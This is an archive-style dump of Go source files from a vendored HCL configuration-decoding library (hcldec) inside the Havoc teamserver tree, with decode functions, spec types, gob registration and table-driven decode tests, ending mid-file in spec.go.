SPHINXPROJ=HCL if "%1" == "" goto help %SPHINXBUILD% >NUL 2>NUL if errorlevel 9009 ( echo. echo.The 'sphinx-build' command was not found. Make sure you have Sphinx echo.installed, then set the SPHINXBUILD environment variable to point echo.to the full path of the 'sphinx-build' executable. Alternatively you echo.may add the Sphinx directory to PATH. echo. echo.If you don't have Sphinx installed, grab it from echo.http://sphinx-doc.org/ exit /b 1 ) %SPHINXBUILD% -M %1 %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% goto end :help %SPHINXBUILD% -M help %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% :end popd havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/guide/requirements.txt000066400000000000000000000000611467014221700273730ustar00rootroot00000000000000sphinx sphinxcontrib-golangdomain sphinx-autoapi havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hcldec/000077500000000000000000000000001467014221700242375ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hcldec/block_labels.go000066400000000000000000000006161467014221700272050ustar00rootroot00000000000000package hcldec import ( "Havoc/pkg/profile/yaotl" ) type blockLabel struct { Value string Range hcl.Range } func labelsForBlock(block *hcl.Block) []blockLabel { ret := make([]blockLabel, len(block.Labels)) for i := range block.Labels { ret[i] = blockLabel{ Value: block.Labels[i], Range: block.LabelRanges[i], } } return ret } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hcldec/decode.go000066400000000000000000000016451467014221700260170ustar00rootroot00000000000000package hcldec import ( "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) func decode(body hcl.Body, blockLabels []blockLabel, ctx *hcl.EvalContext, spec Spec, partial bool) (cty.Value, hcl.Body, hcl.Diagnostics) { schema := ImpliedSchema(spec) var content *hcl.BodyContent var diags hcl.Diagnostics var leftovers hcl.Body if partial { content, leftovers, diags = body.PartialContent(schema) } else { content, diags = body.Content(schema) } val, valDiags := spec.decode(content, blockLabels, ctx) diags = append(diags, valDiags...) return val, leftovers, diags } func impliedType(spec Spec) cty.Type { return spec.impliedType() } func sourceRange(body hcl.Body, blockLabels []blockLabel, spec Spec) hcl.Range { schema := ImpliedSchema(spec) content, _, _ := body.PartialContent(schema) return spec.sourceRange(content, blockLabels) } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hcldec/doc.go000066400000000000000000000011501467014221700253300ustar00rootroot00000000000000// Package hcldec provides a higher-level API for unpacking the content of // HCL bodies, implemented in terms of the low-level "Content" API exposed // by the bodies themselves. // // It allows decoding an entire nested configuration in a single operation // by providing a description of the intended structure. // // For some applications it may be more convenient to use the "gohcl" // package, which has a similar purpose but decodes directly into native // Go data types. hcldec instead targets the cty type system, and thus allows // a cty-driven application to remain within that type system. package hcldec havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hcldec/gob.go000066400000000000000000000012511467014221700253340ustar00rootroot00000000000000package hcldec import ( "encoding/gob" ) func init() { // Every Spec implementation should be registered with gob, so that // specs can be sent over gob channels, such as using // github.com/hashicorp/go-plugin with plugins that need to describe // what shape of configuration they are expecting. gob.Register(ObjectSpec(nil)) gob.Register(TupleSpec(nil)) gob.Register((*AttrSpec)(nil)) gob.Register((*LiteralSpec)(nil)) gob.Register((*ExprSpec)(nil)) gob.Register((*BlockSpec)(nil)) gob.Register((*BlockListSpec)(nil)) gob.Register((*BlockSetSpec)(nil)) gob.Register((*BlockMapSpec)(nil)) gob.Register((*BlockLabelSpec)(nil)) gob.Register((*DefaultSpec)(nil)) } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hcldec/public.go000066400000000000000000000062241467014221700260500ustar00rootroot00000000000000package hcldec import ( "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) // Decode interprets the given body using the given specification and returns // the resulting value. If the given body is not valid per the spec, error // diagnostics are returned and the returned value is likely to be incomplete. // // The ctx argument may be nil, in which case any references to variables or // functions will produce error diagnostics. func Decode(body hcl.Body, spec Spec, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { val, _, diags := decode(body, nil, ctx, spec, false) return val, diags } // PartialDecode is like Decode except that it permits "leftover" items in // the top-level body, which are returned as a new body to allow for // further processing. // // Any descendent block bodies are _not_ decoded partially and thus must // be fully described by the given specification. func PartialDecode(body hcl.Body, spec Spec, ctx *hcl.EvalContext) (cty.Value, hcl.Body, hcl.Diagnostics) { return decode(body, nil, ctx, spec, true) } // ImpliedType returns the value type that should result from decoding the // given spec. func ImpliedType(spec Spec) cty.Type { return impliedType(spec) } // SourceRange interprets the given body using the given specification and // then returns the source range of the value that would be used to // fulfill the spec. // // This can be used if application-level validation detects value errors, to // obtain a reasonable SourceRange to use for generated diagnostics. It works // best when applied to specific body items (e.g. using AttrSpec, BlockSpec, ...) // as opposed to entire bodies using ObjectSpec, TupleSpec. The result will // be less useful the broader the specification, so e.g. a spec that returns // the entirety of all of the blocks of a given type is likely to be // _particularly_ arbitrary and useless. // // If the given body is not valid per the given spec, the result is best-effort // and may not actually be something ideal. It's expected that an application // will already have used Decode or PartialDecode earlier and thus had an // opportunity to detect and report spec violations. func SourceRange(body hcl.Body, spec Spec) hcl.Range { return sourceRange(body, nil, spec) } // ChildBlockTypes returns a map of all of the child block types declared // by the given spec, with block type names as keys and the associated // nested body specs as values. func ChildBlockTypes(spec Spec) map[string]Spec { ret := map[string]Spec{} // visitSameBodyChildren walks through the spec structure, calling // the given callback for each descendent spec encountered. We are // interested in the specs that reference attributes and blocks. var visit visitFunc visit = func(s Spec) { if bs, ok := s.(blockSpec); ok { for _, blockS := range bs.blockHeaderSchemata() { nested := bs.nestedSpec() if nested != nil { // nil can be returned to dynamically opt out of this interface ret[blockS.Type] = nested } } } s.visitSameBodyChildren(visit) } visit(spec) return ret } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hcldec/public_test.go000066400000000000000000000637701467014221700271200ustar00rootroot00000000000000package hcldec import ( "fmt" "reflect" "testing" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" "github.com/zclconf/go-cty/cty" ) func TestDecode(t *testing.T) { tests := []struct { config string spec Spec ctx *hcl.EvalContext want cty.Value diagCount int }{ { ``, &ObjectSpec{}, nil, cty.EmptyObjectVal, 0, }, { "a = 1\n", &ObjectSpec{}, nil, cty.EmptyObjectVal, 1, // attribute named "a" is not expected here }, { "a = 1\n", &ObjectSpec{ "a": &AttrSpec{ Name: "a", Type: cty.Number, }, }, nil, cty.ObjectVal(map[string]cty.Value{ "a": cty.NumberIntVal(1), }), 0, }, { "a = 1\n", &AttrSpec{ Name: "a", Type: cty.Number, }, nil, cty.NumberIntVal(1), 0, }, { "a = 1\n", &DefaultSpec{ Primary: &AttrSpec{ Name: "a", Type: cty.Number, }, Default: &LiteralSpec{ Value: cty.NumberIntVal(10), }, }, nil, cty.NumberIntVal(1), 0, }, { "", &DefaultSpec{ Primary: &AttrSpec{ Name: "a", Type: cty.Number, }, Default: &LiteralSpec{ Value: cty.NumberIntVal(10), }, }, nil, cty.NumberIntVal(10), 0, }, { "a = 1\n", ObjectSpec{ "foo": &DefaultSpec{ Primary: &AttrSpec{ Name: "a", Type: cty.Number, }, Default: &LiteralSpec{ Value: cty.NumberIntVal(10), }, }, }, nil, cty.ObjectVal(map[string]cty.Value{"foo": cty.NumberIntVal(1)}), 0, }, { "a = \"1\"\n", &AttrSpec{ Name: "a", Type: cty.Number, }, nil, cty.NumberIntVal(1), 0, }, { "a = true\n", &AttrSpec{ Name: "a", Type: cty.Number, }, nil, cty.UnknownVal(cty.Number), 1, // incorrect type - number required. }, { ``, &AttrSpec{ Name: "a", Type: cty.Number, Required: true, }, nil, cty.NullVal(cty.Number), 1, // attribute "a" is required }, { ` b { } `, &BlockSpec{ TypeName: "b", Nested: ObjectSpec{}, }, nil, cty.EmptyObjectVal, 0, }, { ` b "baz" { } `, &BlockSpec{ TypeName: "b", Nested: &BlockLabelSpec{ Index: 0, Name: "name", }, }, nil, cty.StringVal("baz"), 0, }, { ` b "baz" {} b "foo" {} `, &BlockSpec{ TypeName: "b", Nested: &BlockLabelSpec{ Index: 0, Name: "name", }, }, nil, cty.StringVal("baz"), 1, // duplicate "b" block }, { ` b { } `, &BlockSpec{ TypeName: "b", Nested: &BlockLabelSpec{ Index: 0, Name: "name", }, }, nil, cty.NullVal(cty.String), 1, // missing name label }, { ``, &BlockSpec{ TypeName: "b", Nested: ObjectSpec{}, }, nil, cty.NullVal(cty.EmptyObject), 0, }, { "a {}\n", &BlockSpec{ TypeName: "b", Nested: ObjectSpec{}, }, nil, cty.NullVal(cty.EmptyObject), 1, // blocks of type "a" are not supported }, { ``, &BlockSpec{ TypeName: "b", Nested: ObjectSpec{}, Required: true, }, nil, cty.NullVal(cty.EmptyObject), 1, // a block of type "b" is required }, { ` b {} b {} `, &BlockSpec{ TypeName: "b", Nested: ObjectSpec{}, Required: true, }, nil, cty.EmptyObjectVal, 1, // only one "b" block is allowed }, { ` b { } `, &BlockAttrsSpec{ TypeName: "b", ElementType: cty.String, }, nil, cty.MapValEmpty(cty.String), 0, }, { ` b { hello = "world" } `, &BlockAttrsSpec{ TypeName: "b", ElementType: cty.String, }, nil, cty.MapVal(map[string]cty.Value{ "hello": cty.StringVal("world"), }), 0, }, { ` b { hello = true } `, &BlockAttrsSpec{ TypeName: "b", ElementType: cty.String, }, nil, cty.MapVal(map[string]cty.Value{ "hello": cty.StringVal("true"), }), 0, }, { ` b { hello = true goodbye = 5 } `, &BlockAttrsSpec{ TypeName: "b", ElementType: cty.String, }, nil, cty.MapVal(map[string]cty.Value{ "hello": cty.StringVal("true"), "goodbye": cty.StringVal("5"), }), 0, }, { ``, &BlockAttrsSpec{ TypeName: "b", ElementType: cty.String, }, nil, cty.NullVal(cty.Map(cty.String)), 0, }, { ``, &BlockAttrsSpec{ TypeName: "b", ElementType: cty.String, Required: true, }, nil, cty.NullVal(cty.Map(cty.String)), 1, // missing b block }, { ` b { } b { } `, &BlockAttrsSpec{ TypeName: "b", ElementType: cty.String, }, nil, cty.MapValEmpty(cty.String), 1, // duplicate b block }, { ` b { } b { } `, &BlockAttrsSpec{ TypeName: "b", ElementType: cty.String, Required: true, }, nil, cty.MapValEmpty(cty.String), 1, // duplicate b block }, { ` b {} b {} `, &BlockListSpec{ TypeName: "b", Nested: ObjectSpec{}, }, nil, cty.ListVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal}), 0, }, { ``, &BlockListSpec{ TypeName: "b", Nested: ObjectSpec{}, }, nil, cty.ListValEmpty(cty.EmptyObject), 0, }, { ` b "foo" {} b "bar" {} `, &BlockListSpec{ TypeName: "b", Nested: &BlockLabelSpec{ Name: "name", Index: 0, }, }, nil, cty.ListVal([]cty.Value{cty.StringVal("foo"), cty.StringVal("bar")}), 0, }, { ` b {} b {} b {} `, &BlockListSpec{ TypeName: "b", Nested: ObjectSpec{}, MaxItems: 2, }, nil, cty.ListVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal, cty.EmptyObjectVal}), 1, // too many b blocks }, { ` b {} b {} `, &BlockListSpec{ TypeName: "b", Nested: ObjectSpec{}, MinItems: 10, }, nil, cty.ListVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal}), 1, // insufficient b blocks }, { ` b { a = true } b { a = 1 } `, &BlockListSpec{ TypeName: "b", Nested: &AttrSpec{ Name: "a", Type: cty.DynamicPseudoType, }, }, nil, cty.DynamicVal, 1, // Inconsistent argument types in b blocks }, { ` b { a = true } b { a = "not a bool" } `, &BlockListSpec{ TypeName: "b", Nested: &AttrSpec{ Name: "a", Type: cty.DynamicPseudoType, }, }, nil, cty.ListVal([]cty.Value{ cty.StringVal("true"), // type unification generalizes all the values to strings cty.StringVal("not a bool"), }), 0, }, { ` b {} b {} `, &BlockSetSpec{ TypeName: "b", Nested: ObjectSpec{}, MaxItems: 2, }, nil, cty.SetVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal}), 0, }, { ` b "foo" "bar" {} b "bar" "baz" {} `, &BlockSetSpec{ TypeName: "b", Nested: TupleSpec{ &BlockLabelSpec{ Name: "name", Index: 1, }, &BlockLabelSpec{ Name: "type", Index: 0, }, }, }, nil, cty.SetVal([]cty.Value{ cty.TupleVal([]cty.Value{cty.StringVal("bar"), cty.StringVal("foo")}), cty.TupleVal([]cty.Value{cty.StringVal("baz"), cty.StringVal("bar")}), }), 0, }, { ` b { a = true } b { a = 1 } `, &BlockSetSpec{ TypeName: "b", Nested: &AttrSpec{ Name: "a", Type: cty.DynamicPseudoType, }, }, nil, cty.DynamicVal, 1, // Inconsistent argument types in b blocks }, { ` b { a = true } b { a = "not a bool" } `, &BlockSetSpec{ TypeName: "b", Nested: &AttrSpec{ Name: "a", Type: cty.DynamicPseudoType, }, }, nil, cty.SetVal([]cty.Value{ cty.StringVal("true"), // type unification generalizes all the values to strings cty.StringVal("not a bool"), }), 0, }, { ` b "foo" {} b "bar" {} `, &BlockMapSpec{ TypeName: "b", LabelNames: []string{"key"}, Nested: ObjectSpec{}, }, nil, cty.MapVal(map[string]cty.Value{"foo": cty.EmptyObjectVal, "bar": cty.EmptyObjectVal}), 0, }, { ` b "foo" "bar" {} b "bar" "baz" {} `, &BlockMapSpec{ TypeName: "b", LabelNames: []string{"key1", "key2"}, Nested: ObjectSpec{}, }, nil, cty.MapVal(map[string]cty.Value{ "foo": cty.MapVal(map[string]cty.Value{ "bar": cty.EmptyObjectVal, }), "bar": cty.MapVal(map[string]cty.Value{ "baz": cty.EmptyObjectVal, }), }), 0, }, { ` b "foo" "bar" {} b "bar" "bar" {} `, &BlockMapSpec{ TypeName: "b", LabelNames: []string{"key1", "key2"}, Nested: ObjectSpec{}, }, nil, cty.MapVal(map[string]cty.Value{ "foo": cty.MapVal(map[string]cty.Value{ "bar": cty.EmptyObjectVal, }), "bar": cty.MapVal(map[string]cty.Value{ "bar": cty.EmptyObjectVal, }), }), 0, }, { ` b "foo" "bar" {} b "foo" "baz" {} `, &BlockMapSpec{ TypeName: "b", LabelNames: []string{"key1", "key2"}, Nested: ObjectSpec{}, }, nil, cty.MapVal(map[string]cty.Value{ "foo": cty.MapVal(map[string]cty.Value{ "bar": cty.EmptyObjectVal, "baz": cty.EmptyObjectVal, }), }), 0, }, { ` b "foo" "bar" {} `, &BlockMapSpec{ TypeName: "b", LabelNames: []string{"key"}, Nested: ObjectSpec{}, }, nil, cty.MapValEmpty(cty.EmptyObject), 1, // too many labels }, { ` b "bar" {} `, &BlockMapSpec{ TypeName: "b", LabelNames: []string{"key1", "key2"}, Nested: ObjectSpec{}, }, nil, cty.MapValEmpty(cty.EmptyObject), 1, // not enough labels }, { ` b "foo" {} b "foo" {} `, &BlockMapSpec{ TypeName: "b", LabelNames: []string{"key"}, Nested: ObjectSpec{}, }, nil, cty.MapVal(map[string]cty.Value{"foo": cty.EmptyObjectVal}), 1, // duplicate b block }, { ` b "foo" "bar" {} b "foo" "bar" {} `, &BlockMapSpec{ TypeName: "b", LabelNames: []string{"key1", "key2"}, Nested: ObjectSpec{}, }, nil, cty.MapVal(map[string]cty.Value{"foo": cty.MapVal(map[string]cty.Value{"bar": cty.EmptyObjectVal})}), 1, // duplicate b block }, { ` b "foo" "bar" {} b "bar" "baz" {} `, &BlockMapSpec{ TypeName: "b", LabelNames: []string{"type"}, Nested: &BlockLabelSpec{ Name: "name", Index: 0, }, }, nil, cty.MapVal(map[string]cty.Value{ "foo": cty.StringVal("bar"), "bar": cty.StringVal("baz"), }), 0, }, { ` b "foo" {} `, &BlockMapSpec{ TypeName: "b", LabelNames: []string{"type"}, Nested: &BlockLabelSpec{ Name: "name", Index: 0, }, }, nil, cty.MapValEmpty(cty.String), 1, // missing name }, { ` b {} b {} `, &BlockTupleSpec{ TypeName: "b", Nested: ObjectSpec{}, }, nil, cty.TupleVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal}), 0, }, { ``, &BlockTupleSpec{ TypeName: "b", Nested: ObjectSpec{}, }, nil, cty.EmptyTupleVal, 0, }, { ` b "foo" {} b "bar" {} `, &BlockTupleSpec{ TypeName: "b", Nested: &BlockLabelSpec{ Name: "name", Index: 0, }, }, nil, cty.TupleVal([]cty.Value{cty.StringVal("foo"), cty.StringVal("bar")}), 0, }, { ` b {} b {} b {} `, &BlockTupleSpec{ TypeName: "b", Nested: ObjectSpec{}, MaxItems: 2, }, nil, cty.TupleVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal, cty.EmptyObjectVal}), 1, // too many b blocks }, { ` b {} b {} `, &BlockTupleSpec{ TypeName: "b", Nested: ObjectSpec{}, MinItems: 10, }, nil, cty.TupleVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal}), 1, // insufficient b blocks }, { ` b { a = true } b { a = 1 } `, &BlockTupleSpec{ TypeName: "b", Nested: &AttrSpec{ Name: "a", Type: cty.DynamicPseudoType, }, }, nil, cty.TupleVal([]cty.Value{ cty.True, cty.NumberIntVal(1), }), 0, }, { ` b { a = true } b { a = "not a bool" } `, &BlockTupleSpec{ TypeName: "b", Nested: &AttrSpec{ Name: "a", Type: cty.DynamicPseudoType, }, }, nil, cty.TupleVal([]cty.Value{ cty.True, cty.StringVal("not a bool"), }), 0, }, { ` b "foo" {} b "bar" {} `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"key"}, Nested: ObjectSpec{}, }, nil, cty.ObjectVal(map[string]cty.Value{"foo": cty.EmptyObjectVal, "bar": cty.EmptyObjectVal}), 0, }, { ` b "foo" "bar" {} b "bar" "baz" {} `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"key1", "key2"}, Nested: ObjectSpec{}, }, nil, cty.ObjectVal(map[string]cty.Value{ "foo": cty.ObjectVal(map[string]cty.Value{ "bar": cty.EmptyObjectVal, }), "bar": cty.ObjectVal(map[string]cty.Value{ "baz": cty.EmptyObjectVal, }), }), 0, }, { ` b "foo" "bar" {} b "bar" "bar" {} `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"key1", "key2"}, Nested: ObjectSpec{}, }, nil, cty.ObjectVal(map[string]cty.Value{ "foo": cty.ObjectVal(map[string]cty.Value{ "bar": cty.EmptyObjectVal, }), "bar": cty.ObjectVal(map[string]cty.Value{ "bar": cty.EmptyObjectVal, }), }), 0, }, { ` b "foo" "bar" {} b "foo" "baz" {} `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"key1", "key2"}, Nested: ObjectSpec{}, }, nil, cty.ObjectVal(map[string]cty.Value{ "foo": cty.ObjectVal(map[string]cty.Value{ "bar": cty.EmptyObjectVal, "baz": cty.EmptyObjectVal, }), }), 0, }, { ` b "foo" "bar" {} `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"key"}, Nested: ObjectSpec{}, }, nil, cty.EmptyObjectVal, 1, // too many labels }, { ` b "bar" {} `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"key1", "key2"}, Nested: ObjectSpec{}, }, nil, cty.EmptyObjectVal, 1, // not enough labels }, { ` b "foo" {} b "foo" {} `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"key"}, Nested: ObjectSpec{}, }, nil, cty.ObjectVal(map[string]cty.Value{"foo": cty.EmptyObjectVal}), 1, // duplicate b block }, { ` b "foo" "bar" {} b "foo" "bar" {} `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"key1", "key2"}, Nested: ObjectSpec{}, }, nil, cty.ObjectVal(map[string]cty.Value{"foo": cty.ObjectVal(map[string]cty.Value{"bar": cty.EmptyObjectVal})}), 1, // duplicate b block }, { ` b "foo" "bar" {} b "bar" "baz" {} `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"type"}, Nested: &BlockLabelSpec{ Name: "name", Index: 0, }, }, nil, cty.ObjectVal(map[string]cty.Value{ "foo": cty.StringVal("bar"), "bar": cty.StringVal("baz"), }), 0, }, { ` b "foo" {} `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"type"}, Nested: &BlockLabelSpec{ Name: "name", Index: 0, }, }, nil, cty.EmptyObjectVal, 1, // missing name }, { ` b "foo" { arg = true } b "bar" { arg = 1 } `, &BlockObjectSpec{ TypeName: "b", LabelNames: []string{"type"}, Nested: &AttrSpec{ Name: "arg", Type: cty.DynamicPseudoType, }, }, nil, cty.ObjectVal(map[string]cty.Value{ "foo": cty.True, "bar": cty.NumberIntVal(1), }), 0, }, } for i, test := range tests { t.Run(fmt.Sprintf("%02d-%s", i, test.config), func(t *testing.T) { file, parseDiags := hclsyntax.ParseConfig([]byte(test.config), "", hcl.Pos{Line: 1, Column: 1, Byte: 0}) body := file.Body got, valDiags := Decode(body, test.spec, test.ctx) var diags hcl.Diagnostics diags = append(diags, parseDiags...) diags = append(diags, valDiags...) if len(diags) != test.diagCount { t.Errorf("wrong number of diagnostics %d; want %d", len(diags), test.diagCount) for _, diag := range diags { t.Logf(" - %s", diag.Error()) } } if !got.RawEquals(test.want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, test.want) } }) } } func TestSourceRange(t *testing.T) { tests := []struct { config string spec Spec want hcl.Range }{ { "a = 1\n", &AttrSpec{ Name: "a", }, hcl.Range{ Start: hcl.Pos{Line: 1, Column: 5, Byte: 4}, End: hcl.Pos{Line: 1, Column: 6, Byte: 5}, }, }, { ` b { a = 1 } `, &BlockSpec{ TypeName: "b", Nested: &AttrSpec{ Name: "a", }, }, hcl.Range{ Start: hcl.Pos{Line: 3, Column: 7, Byte: 11}, End: hcl.Pos{Line: 3, Column: 8, Byte: 12}, }, }, { ` b { c { a = 1 } } `, &BlockSpec{ TypeName: "b", Nested: &BlockSpec{ TypeName: "c", Nested: &AttrSpec{ Name: "a", }, }, }, hcl.Range{ Start: hcl.Pos{Line: 4, Column: 9, Byte: 19}, End: hcl.Pos{Line: 4, Column: 10, Byte: 20}, }, }, } for i, test := range tests { t.Run(fmt.Sprintf("%02d-%s", i, test.config), func(t *testing.T) { file, diags := hclsyntax.ParseConfig([]byte(test.config), "", hcl.Pos{Line: 1, Column: 1, Byte: 0}) if len(diags) != 0 { t.Errorf("wrong number of diagnostics %d; want %d", len(diags), 0) for _, diag := range diags { t.Logf(" - %s", diag.Error()) } } body := file.Body got := SourceRange(body, test.spec) if !reflect.DeepEqual(got, test.want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, test.want) } }) } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hcldec/schema.go000066400000000000000000000017641467014221700260360ustar00rootroot00000000000000package hcldec import ( "Havoc/pkg/profile/yaotl" ) // ImpliedSchema returns the *hcl.BodySchema implied by the given specification. // This is the schema that the Decode function will use internally to // access the content of a given body. func ImpliedSchema(spec Spec) *hcl.BodySchema { var attrs []hcl.AttributeSchema var blocks []hcl.BlockHeaderSchema // visitSameBodyChildren walks through the spec structure, calling // the given callback for each descendent spec encountered. We are // interested in the specs that reference attributes and blocks. var visit visitFunc visit = func(s Spec) { if as, ok := s.(attrSpec); ok { attrs = append(attrs, as.attrSchemata()...) } if bs, ok := s.(blockSpec); ok { blocks = append(blocks, bs.blockHeaderSchemata()...) } s.visitSameBodyChildren(visit) } visit(spec) return &hcl.BodySchema{ Attributes: attrs, Blocks: blocks, } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hcldec/spec.go000066400000000000000000001526001467014221700255240ustar00rootroot00000000000000package hcldec import ( "bytes" "fmt" "sort" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/ext/customdecode" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/convert" "github.com/zclconf/go-cty/cty/function" ) // A Spec is a description of how to decode a hcl.Body to a cty.Value. // // The various other types in this package whose names end in "Spec" are // the spec implementations. The most common top-level spec is ObjectSpec, // which decodes body content into a cty.Value of an object type. type Spec interface { // Perform the decode operation on the given body, in the context of // the given block (which might be null), using the given eval context. // // "block" is provided only by the nested calls performed by the spec // types that work on block bodies. decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) // Return the cty.Type that should be returned when decoding a body with // this spec. impliedType() cty.Type // Call the given callback once for each of the nested specs that would // get decoded with the same body and block as the receiver. This should // not descend into the nested specs used when decoding blocks. visitSameBodyChildren(cb visitFunc) // Determine the source range of the value that would be returned for the // spec in the given content, in the context of the given block // (which might be null). If the corresponding item is missing, return // a place where it might be inserted. sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range } type visitFunc func(spec Spec) // An ObjectSpec is a Spec that produces a cty.Value of an object type whose // attributes correspond to the keys of the spec map. type ObjectSpec map[string]Spec // attrSpec is implemented by specs that require attributes from the body. type attrSpec interface { attrSchemata() []hcl.AttributeSchema } // blockSpec is implemented by specs that require blocks from the body. type blockSpec interface { blockHeaderSchemata() []hcl.BlockHeaderSchema nestedSpec() Spec } // specNeedingVariables is implemented by specs that can use variables // from the EvalContext, to declare which variables they need. type specNeedingVariables interface { variablesNeeded(content *hcl.BodyContent) []hcl.Traversal } // UnknownBody can be optionally implemented by an hcl.Body instance which may // be entirely unknown. type UnknownBody interface { Unknown() bool } func (s ObjectSpec) visitSameBodyChildren(cb visitFunc) { for _, c := range s { cb(c) } } func (s ObjectSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { vals := make(map[string]cty.Value, len(s)) var diags hcl.Diagnostics for k, spec := range s { var kd hcl.Diagnostics vals[k], kd = spec.decode(content, blockLabels, ctx) diags = append(diags, kd...) } return cty.ObjectVal(vals), diags } func (s ObjectSpec) impliedType() cty.Type { if len(s) == 0 { return cty.EmptyObject } attrTypes := make(map[string]cty.Type) for k, childSpec := range s { attrTypes[k] = childSpec.impliedType() } return cty.Object(attrTypes) } func (s ObjectSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // This is not great, but the best we can do. In practice, it's rather // strange to ask for the source range of an entire top-level body, since // that's already readily available to the caller. return content.MissingItemRange } // A TupleSpec is a Spec that produces a cty.Value of a tuple type whose // elements correspond to the elements of the spec slice. type TupleSpec []Spec func (s TupleSpec) visitSameBodyChildren(cb visitFunc) { for _, c := range s { cb(c) } } func (s TupleSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { vals := make([]cty.Value, len(s)) var diags hcl.Diagnostics for i, spec := range s { var ed hcl.Diagnostics vals[i], ed = spec.decode(content, blockLabels, ctx) diags = append(diags, ed...) } return cty.TupleVal(vals), diags } func (s TupleSpec) impliedType() cty.Type { if len(s) == 0 { return cty.EmptyTuple } attrTypes := make([]cty.Type, len(s)) for i, childSpec := range s { attrTypes[i] = childSpec.impliedType() } return cty.Tuple(attrTypes) } func (s TupleSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // This is not great, but the best we can do. In practice, it's rather // strange to ask for the source range of an entire top-level body, since // that's already readily available to the caller. return content.MissingItemRange } // An AttrSpec is a Spec that evaluates a particular attribute expression in // the body and returns its resulting value converted to the requested type, // or produces a diagnostic if the type is incorrect. type AttrSpec struct { Name string Type cty.Type Required bool } func (s *AttrSpec) visitSameBodyChildren(cb visitFunc) { // leaf node } // specNeedingVariables implementation func (s *AttrSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal { attr, exists := content.Attributes[s.Name] if !exists { return nil } return attr.Expr.Variables() } // attrSpec implementation func (s *AttrSpec) attrSchemata() []hcl.AttributeSchema { return []hcl.AttributeSchema{ { Name: s.Name, Required: s.Required, }, } } func (s *AttrSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { attr, exists := content.Attributes[s.Name] if !exists { return content.MissingItemRange } return attr.Expr.Range() } func (s *AttrSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { attr, exists := content.Attributes[s.Name] if !exists { // We don't need to check required and emit a diagnostic here, because // that would already have happened when building "content". return cty.NullVal(s.Type), nil } if decodeFn := customdecode.CustomExpressionDecoderForType(s.Type); decodeFn != nil { v, diags := decodeFn(attr.Expr, ctx) if v == cty.NilVal { v = cty.UnknownVal(s.Type) } return v, diags } val, diags := attr.Expr.Value(ctx) convVal, err := convert.Convert(val, s.Type) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Incorrect attribute value type", Detail: fmt.Sprintf( "Inappropriate value for attribute %q: %s.", s.Name, err.Error(), ), Subject: attr.Expr.Range().Ptr(), Context: hcl.RangeBetween(attr.NameRange, attr.Expr.Range()).Ptr(), Expression: attr.Expr, EvalContext: ctx, }) // We'll return an unknown value of the _correct_ type so that the // incomplete result can still be used for some analysis use-cases. val = cty.UnknownVal(s.Type) } else { val = convVal } return val, diags } func (s *AttrSpec) impliedType() cty.Type { return s.Type } // A LiteralSpec is a Spec that produces the given literal value, ignoring // the given body. type LiteralSpec struct { Value cty.Value } func (s *LiteralSpec) visitSameBodyChildren(cb visitFunc) { // leaf node } func (s *LiteralSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { return s.Value, nil } func (s *LiteralSpec) impliedType() cty.Type { return s.Value.Type() } func (s *LiteralSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // No sensible range to return for a literal, so the caller had better // ensure it doesn't cause any diagnostics. return hcl.Range{ Filename: "", } } // An ExprSpec is a Spec that evaluates the given expression, ignoring the // given 